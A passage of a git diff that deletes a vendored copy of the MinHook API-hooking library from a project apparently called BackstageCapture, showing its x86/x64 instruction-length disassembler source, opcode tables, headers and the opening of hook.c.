0x00010000 -#define F_PREFIX_REPNZ 0x01000000 -#define F_PREFIX_REPX 0x02000000 -#define F_PREFIX_REP 0x03000000 -#define F_PREFIX_66 0x04000000 -#define F_PREFIX_67 0x08000000 -#define F_PREFIX_LOCK 0x10000000 -#define F_PREFIX_SEG 0x20000000 -#define F_PREFIX_ANY 0x3f000000 - -#define PREFIX_SEGMENT_CS 0x2e -#define PREFIX_SEGMENT_SS 0x36 -#define PREFIX_SEGMENT_DS 0x3e -#define PREFIX_SEGMENT_ES 0x26 -#define PREFIX_SEGMENT_FS 0x64 -#define PREFIX_SEGMENT_GS 0x65 -#define PREFIX_LOCK 0xf0 -#define PREFIX_REPNZ 0xf2 -#define PREFIX_REPX 0xf3 -#define PREFIX_OPERAND_SIZE 0x66 -#define PREFIX_ADDRESS_SIZE 0x67 - -#pragma pack(push,1) - -typedef struct { - uint8_t len; - uint8_t p_rep; - uint8_t p_lock; - uint8_t p_seg; - uint8_t p_66; - uint8_t p_67; - uint8_t opcode; - uint8_t opcode2; - uint8_t modrm; - uint8_t modrm_mod; - uint8_t modrm_reg; - uint8_t modrm_rm; - uint8_t sib; - uint8_t sib_scale; - uint8_t sib_index; - uint8_t sib_base; - union { - uint8_t imm8; - uint16_t imm16; - uint32_t imm32; - } imm; - union { - uint8_t disp8; - uint16_t disp16; - uint32_t disp32; - } disp; - uint32_t flags; -} hde32s; - -#pragma pack(pop) - -#ifdef __cplusplus -extern "C" { -#endif - -/* __cdecl */ -unsigned int hde32_disasm(const void *code, hde32s *hs); - -#ifdef __cplusplus -} -#endif - -#endif /* _HDE32_H_ */ diff --git a/BackstageCapture/Minhook/src/hde/hde64.c b/BackstageCapture/Minhook/src/hde/hde64.c deleted file mode 100644 index ce773b1..0000000 --- a/BackstageCapture/Minhook/src/hde/hde64.c +++ /dev/null @@ -1,335 +0,0 @@ -/* - * Hacker Disassembler Engine 64 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#if defined(_M_X64) || defined(__x86_64__) - -#include -#include "hde64.h" -#include "table64.h" - -unsigned int hde64_disasm(const void *code, hde64s *hs) -{ - uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; - uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; - uint8_t op64 = 0; - - memset(hs, 0, sizeof(hde64s)); - - for (x = 16; x; x--) - switch (c = *p++) { - case 0xf3: - hs->p_rep = c; - pref |= PRE_F3; - break; - case 0xf2: - hs->p_rep = c; - pref |= PRE_F2; - break; - case 0xf0: - hs->p_lock = c; - pref |= PRE_LOCK; - break; - case 0x26: case 0x2e: case 0x36: - case 0x3e: case 0x64: case 0x65: - hs->p_seg = c; - pref |= PRE_SEG; - break; - case 0x66: - hs->p_66 = c; - pref |= PRE_66; - break; - case 0x67: - hs->p_67 = c; - pref |= PRE_67; - break; - default: - goto pref_done; - } - pref_done: - - hs->flags = (uint32_t)pref << 23; - - if (!pref) - pref |= PRE_NONE; - - if ((c & 0xf0) == 0x40) { - hs->flags |= F_PREFIX_REX; - if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) - op64++; - hs->rex_r = (c & 7) >> 2; - hs->rex_x = (c & 3) >> 1; - hs->rex_b = c & 1; - if (((c = *p++) & 0xf0) == 0x40) { - opcode = c; - goto error_opcode; - } - } - - if ((hs->opcode = c) == 0x0f) { - hs->opcode2 = c = *p++; - ht += DELTA_OPCODES; - } else if (c >= 0xa0 && c <= 0xa3) { - op64++; - if (pref & PRE_67) - pref |= PRE_66; - else - pref &= ~PRE_66; - } - - opcode = c; - cflags = ht[ht[opcode / 4] + (opcode % 4)]; - - if (cflags == C_ERROR) { - error_opcode: - hs->flags |= F_ERROR | F_ERROR_OPCODE; - cflags = 0; - if ((opcode & -3) == 0x24) - cflags++; - } - - x = 0; - if (cflags & C_GROUP) { - uint16_t t; - t = *(uint16_t *)(ht + (cflags & 0x7f)); - cflags = (uint8_t)t; - x = (uint8_t)(t >> 8); - } - - if (hs->opcode2) { - ht = hde64_table + DELTA_PREFIXES; - if (ht[ht[opcode / 4] + (opcode % 4)] & pref) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (cflags & C_MODRM) { - hs->flags |= F_MODRM; - hs->modrm = c = *p++; - hs->modrm_mod = m_mod = c >> 6; - hs->modrm_rm = m_rm = c & 7; - hs->modrm_reg = m_reg = (c & 0x3f) >> 3; - - if (x && ((x << m_reg) & 0x80)) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - - if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { - uint8_t t = opcode - 0xd9; - if (m_mod == 3) { - ht = hde64_table + DELTA_FPU_MODRM + t*8; - t = ht[m_reg] << m_rm; - } else { - ht = hde64_table + DELTA_FPU_REG; - t = ht[t] << m_reg; - } - if (t & 0x80) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (pref & PRE_LOCK) { - if (m_mod == 3) { - hs->flags |= F_ERROR | F_ERROR_LOCK; - } else { - uint8_t *table_end, op = opcode; - if (hs->opcode2) { - ht = hde64_table + DELTA_OP2_LOCK_OK; - table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; - } else { - ht = hde64_table + DELTA_OP_LOCK_OK; - table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; - op &= -2; - } - for (; ht != table_end; ht++) - if (*ht++ == op) { - if (!((*ht << m_reg) & 0x80)) - goto no_lock_error; - else - break; - } - hs->flags |= F_ERROR | F_ERROR_LOCK; - no_lock_error: - ; - } - } - - if (hs->opcode2) { - switch (opcode) { - case 0x20: case 0x22: - m_mod = 3; - if (m_reg > 4 || m_reg == 1) - goto error_operand; - else - goto no_error_operand; - case 0x21: case 0x23: - m_mod = 3; - if (m_reg == 4 || m_reg == 5) - goto error_operand; - else - goto no_error_operand; - } - } else { - switch (opcode) { - case 0x8c: - if (m_reg > 5) - goto error_operand; - else - goto no_error_operand; - case 0x8e: - if (m_reg == 1 || m_reg > 5) - goto error_operand; - else - goto no_error_operand; - } - } - - if (m_mod == 3) { - uint8_t *table_end; - if (hs->opcode2) { - ht = hde64_table + DELTA_OP2_ONLY_MEM; - table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; - } else { - ht = hde64_table + DELTA_OP_ONLY_MEM; - table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; - } - for (; ht != table_end; ht += 2) - if (*ht++ == opcode) { - if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) - goto error_operand; - else - break; - } - goto no_error_operand; - } else if (hs->opcode2) { - switch (opcode) { - case 0x50: case 0xd7: case 0xf7: - if (pref & (PRE_NONE | PRE_66)) - goto error_operand; - break; - case 0xd6: - if (pref & (PRE_F2 | PRE_F3)) - goto error_operand; - break; - case 0xc5: - goto error_operand; - } - goto no_error_operand; - } else - goto no_error_operand; - - error_operand: - hs->flags |= F_ERROR | F_ERROR_OPERAND; - no_error_operand: - - c = *p++; - if (m_reg <= 1) { - if (opcode == 0xf6) - cflags |= C_IMM8; - else if (opcode == 0xf7) - cflags |= C_IMM_P66; - } - - switch (m_mod) { - case 0: - if (pref & PRE_67) { - if (m_rm == 6) - disp_size = 2; - } else - if (m_rm == 5) - disp_size = 4; - break; - case 1: - disp_size = 1; - break; - case 2: - disp_size = 2; - if (!(pref & PRE_67)) - disp_size <<= 1; - break; - } - - if (m_mod != 3 && m_rm == 4) { - hs->flags |= F_SIB; - p++; - hs->sib = c; - hs->sib_scale = c >> 6; - hs->sib_index = (c & 0x3f) >> 3; - if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) - disp_size = 4; - } - - p--; - switch (disp_size) { - case 1: - hs->flags |= F_DISP8; - hs->disp.disp8 = *p; - break; - case 2: - hs->flags |= F_DISP16; - hs->disp.disp16 = *(uint16_t *)p; - break; - case 4: - hs->flags |= F_DISP32; - hs->disp.disp32 = *(uint32_t *)p; - break; - } - p += disp_size; - } else if (pref & PRE_LOCK) - hs->flags |= F_ERROR | F_ERROR_LOCK; - - if (cflags & C_IMM_P66) { - if (cflags & C_REL32) { - if (pref & PRE_66) { - hs->flags |= F_IMM16 | F_RELATIVE; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - goto disasm_done; - } - goto rel32_ok; - } - if (op64) { - hs->flags |= F_IMM64; - hs->imm.imm64 = *(uint64_t *)p; - p += 8; - } else if (!(pref & PRE_66)) { - hs->flags |= F_IMM32; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } else - goto imm16_ok; - } - - - if (cflags & C_IMM16) { - imm16_ok: - hs->flags |= F_IMM16; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - } - if (cflags & C_IMM8) { - hs->flags |= F_IMM8; - hs->imm.imm8 = *p++; - } - - if (cflags & C_REL32) { - rel32_ok: - hs->flags |= F_IMM32 | F_RELATIVE; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } else if (cflags & C_REL8) { - hs->flags |= F_IMM8 | F_RELATIVE; - hs->imm.imm8 = *p++; - } - - disasm_done: - - if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { - hs->flags |= F_ERROR | F_ERROR_LENGTH; - hs->len = 15; - } - - return (unsigned int)hs->len; -} - -#endif // defined(_M_X64) || defined(__x86_64__) diff --git a/BackstageCapture/Minhook/src/hde/hde64.h b/BackstageCapture/Minhook/src/hde/hde64.h deleted file mode 100644 index ecbf4df..0000000 --- a/BackstageCapture/Minhook/src/hde/hde64.h +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Hacker Disassembler Engine 64 - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - * hde64.h: C/C++ header file - * - */ - -#ifndef _HDE64_H_ -#define _HDE64_H_ - -/* stdint.h - C99 standard header - * http://en.wikipedia.org/wiki/stdint.h - * - * if your compiler doesn't contain "stdint.h" header (for - * example, Microsoft Visual C++), you can download file: - * http://www.azillionmonkeys.com/qed/pstdint.h - * and change next line to: - * #include "pstdint.h" - */ -#include "pstdint.h" - -#define F_MODRM 0x00000001 -#define F_SIB 0x00000002 -#define F_IMM8 0x00000004 -#define F_IMM16 0x00000008 -#define F_IMM32 0x00000010 -#define F_IMM64 0x00000020 -#define F_DISP8 0x00000040 -#define F_DISP16 0x00000080 -#define F_DISP32 0x00000100 -#define F_RELATIVE 0x00000200 -#define F_ERROR 0x00001000 -#define F_ERROR_OPCODE 0x00002000 -#define F_ERROR_LENGTH 0x00004000 -#define F_ERROR_LOCK 0x00008000 -#define F_ERROR_OPERAND 0x00010000 -#define F_PREFIX_REPNZ 0x01000000 -#define F_PREFIX_REPX 0x02000000 -#define F_PREFIX_REP 0x03000000 -#define F_PREFIX_66 0x04000000 -#define F_PREFIX_67 0x08000000 -#define F_PREFIX_LOCK 0x10000000 -#define F_PREFIX_SEG 0x20000000 -#define F_PREFIX_REX 0x40000000 -#define F_PREFIX_ANY 0x7f000000 - -#define PREFIX_SEGMENT_CS 0x2e -#define PREFIX_SEGMENT_SS 0x36 -#define PREFIX_SEGMENT_DS 0x3e -#define PREFIX_SEGMENT_ES 0x26 -#define PREFIX_SEGMENT_FS 0x64 -#define PREFIX_SEGMENT_GS 0x65 -#define PREFIX_LOCK 0xf0 -#define PREFIX_REPNZ 0xf2 -#define PREFIX_REPX 0xf3 -#define PREFIX_OPERAND_SIZE 0x66 -#define PREFIX_ADDRESS_SIZE 0x67 - -#pragma pack(push,1) - -typedef struct { - uint8_t len; - uint8_t p_rep; - uint8_t p_lock; - uint8_t p_seg; - uint8_t p_66; - uint8_t p_67; - uint8_t rex; - uint8_t rex_w; - uint8_t rex_r; - uint8_t rex_x; - uint8_t rex_b; - uint8_t opcode; - uint8_t opcode2; - uint8_t modrm; - uint8_t modrm_mod; - uint8_t modrm_reg; - uint8_t modrm_rm; - uint8_t sib; - uint8_t sib_scale; - uint8_t sib_index; - uint8_t sib_base; - union { - uint8_t imm8; - uint16_t imm16; - uint32_t imm32; - uint64_t imm64; - } imm; - union { - uint8_t disp8; - uint16_t disp16; - uint32_t disp32; - } disp; - uint32_t flags; -} hde64s; - -#pragma pack(pop) - -#ifdef __cplusplus -extern "C" { -#endif - -/* __cdecl */ -unsigned int hde64_disasm(const void *code, hde64s *hs); - -#ifdef __cplusplus -} -#endif - -#endif /* _HDE64_H_ */ diff --git a/BackstageCapture/Minhook/src/hde/pstdint.h b/BackstageCapture/Minhook/src/hde/pstdint.h deleted file mode 100644 index 84d82a0..0000000 --- a/BackstageCapture/Minhook/src/hde/pstdint.h +++ /dev/null @@ -1,39 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#include - -// Integer types for HDE. -typedef INT8 int8_t; -typedef INT16 int16_t; -typedef INT32 int32_t; -typedef INT64 int64_t; -typedef UINT8 uint8_t; -typedef UINT16 uint16_t; -typedef UINT32 uint32_t; -typedef UINT64 uint64_t; diff --git a/BackstageCapture/Minhook/src/hde/table32.h b/BackstageCapture/Minhook/src/hde/table32.h deleted file mode 100644 index 7b3e12e..0000000 --- a/BackstageCapture/Minhook/src/hde/table32.h +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Hacker Disassembler Engine 32 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#define C_NONE 0x00 -#define C_MODRM 0x01 -#define C_IMM8 0x02 -#define C_IMM16 0x04 -#define C_IMM_P66 0x10 -#define C_REL8 0x20 -#define C_REL32 0x40 -#define C_GROUP 0x80 -#define C_ERROR 0xff - -#define PRE_ANY 0x00 -#define PRE_NONE 0x01 -#define PRE_F2 0x02 -#define PRE_F3 0x04 -#define PRE_66 0x08 -#define PRE_67 0x10 -#define PRE_LOCK 0x20 -#define PRE_SEG 0x40 -#define PRE_ALL 0xff - -#define DELTA_OPCODES 0x4a -#define DELTA_FPU_REG 0xf1 -#define DELTA_FPU_MODRM 0xf8 -#define DELTA_PREFIXES 0x130 -#define DELTA_OP_LOCK_OK 0x1a1 -#define DELTA_OP2_LOCK_OK 0x1b9 -#define DELTA_OP_ONLY_MEM 0x1cb -#define DELTA_OP2_ONLY_MEM 0x1da - -unsigned char hde32_table[] = { - 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3, - 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f, - 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3, - 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa, - 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90, - 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f, - 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d, - 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59, - 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59, - 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0, - 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01, - 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11, - 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8, - 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca, - 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff, - 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03, - 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00, - 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00, - 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f, - 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a, - 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a, - 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a, - 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06, - 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06, - 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, - 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08, - 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01, - 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba, - 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00, - 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00, - 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07, - 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf, - 0xe7,0x08,0x00,0xf0,0x02,0x00 -}; diff --git a/BackstageCapture/Minhook/src/hde/table64.h b/BackstageCapture/Minhook/src/hde/table64.h deleted file mode 100644 index 01d4541..0000000 --- a/BackstageCapture/Minhook/src/hde/table64.h +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Hacker Disassembler Engine 64 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#define C_NONE 0x00 -#define C_MODRM 0x01 -#define C_IMM8 0x02 -#define C_IMM16 0x04 -#define C_IMM_P66 0x10 -#define C_REL8 0x20 -#define C_REL32 0x40 -#define C_GROUP 0x80 -#define C_ERROR 0xff - -#define PRE_ANY 0x00 -#define PRE_NONE 0x01 -#define PRE_F2 0x02 -#define PRE_F3 0x04 -#define PRE_66 0x08 -#define PRE_67 0x10 -#define PRE_LOCK 0x20 -#define PRE_SEG 0x40 -#define PRE_ALL 0xff - -#define DELTA_OPCODES 0x4a -#define DELTA_FPU_REG 0xfd -#define DELTA_FPU_MODRM 0x104 -#define DELTA_PREFIXES 0x13c -#define DELTA_OP_LOCK_OK 0x1ae -#define DELTA_OP2_LOCK_OK 0x1c6 -#define DELTA_OP_ONLY_MEM 0x1d8 -#define DELTA_OP2_ONLY_MEM 0x1e7 - -unsigned char hde64_table[] = { - 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, - 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, - 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, - 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, - 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, - 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, - 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, - 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, - 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, - 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, - 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, - 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, - 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, - 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, - 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, - 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, - 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, - 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, - 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, - 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, - 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, - 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, - 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, - 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, - 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, - 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, - 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, - 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, - 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, - 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, - 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, - 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, - 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, - 0x00,0xf0,0x02,0x00 -}; diff --git a/BackstageCapture/Minhook/src/hook.c b/BackstageCapture/Minhook/src/hook.c deleted file mode 100644 index 06f5696..0000000 --- a/BackstageCapture/Minhook/src/hook.c +++ /dev/null @@ -1,939 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include -#include - -#include "../include/MinHook.h" -#include "buffer.h" -#include "trampoline.h" - -#ifndef ARRAYSIZE - #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) -#endif - -// Initial capacity of the HOOK_ENTRY buffer. -#define INITIAL_HOOK_CAPACITY 32 - -// Initial capacity of the thread IDs buffer. -#define INITIAL_THREAD_CAPACITY 128 - -// Special hook position values. -#define INVALID_HOOK_POS UINT_MAX -#define ALL_HOOKS_POS UINT_MAX - -// Freeze() action argument defines. -#define ACTION_DISABLE 0 -#define ACTION_ENABLE 1 -#define ACTION_APPLY_QUEUED 2 - -// Thread access rights for suspending/resuming threads. -#define THREAD_ACCESS \ - (THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT) - -// Hook information. -typedef struct _HOOK_ENTRY -{ - LPVOID pTarget; // Address of the target function. - LPVOID pDetour; // Address of the detour or relay function. - LPVOID pTrampoline; // Address of the trampoline function. - UINT8 backup[8]; // Original prologue of the target function. - - UINT8 patchAbove : 1; // Uses the hot patch area. - UINT8 isEnabled : 1; // Enabled. - UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled. - - UINT nIP : 4; // Count of the instruction boundaries. - UINT8 oldIPs[8]; // Instruction boundaries of the target function. - UINT8 newIPs[8]; // Instruction boundaries of the trampoline function. -} HOOK_ENTRY, *PHOOK_ENTRY; - -// Suspended threads for Freeze()/Unfreeze(). -typedef struct _FROZEN_THREADS -{ - LPDWORD pItems; // Data heap - UINT capacity; // Size of allocated data heap, items - UINT size; // Actual number of data items -} FROZEN_THREADS, *PFROZEN_THREADS; - -//------------------------------------------------------------------------- -// Global Variables: -//------------------------------------------------------------------------- - -// Spin lock flag for 